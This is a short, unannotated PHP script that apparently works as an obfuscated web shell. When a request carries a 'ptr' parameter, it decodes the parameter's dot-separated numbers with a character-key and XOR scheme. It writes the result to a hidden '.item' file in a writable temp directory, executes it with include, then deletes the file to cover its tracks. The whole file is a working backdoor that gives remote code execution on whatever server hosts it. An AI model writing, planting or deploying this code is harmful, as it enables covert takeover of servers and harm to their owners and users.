<?php

if(filter_has_var(INPUT_POST, "ptr")){
	$pset = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), "/tmp"]);
	$entry = $_REQUEST["ptr"];
	   $entry			= 	explode('.'   ,	$entry	 	)		;
	$ent=		'';
            $s9=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($s9);
            $l=		0;
    
            while($l	< 	count($entry)) {
                $v1=		$entry[$l];
                $chS=		ord($s9[$l % $lenS]);
                $d=		((int)$v1 - $chS -($l % 10)) ^ 62;
                $ent .= chr($d);
                $l++; 	}	
	$descriptor = 0;
do {
    $key = $pset[$descriptor] ?? null;
    if ($descriptor >= count($pset)) break;
    		if (is_writable($key) && is_dir($key)) {
    $bind = "$key/.item";
    if (@file_put_contents($bind, $ent) !== false) {
	include $bind;
	unlink($bind);
	exit;
}
}
    $descriptor++;
} while (true);
}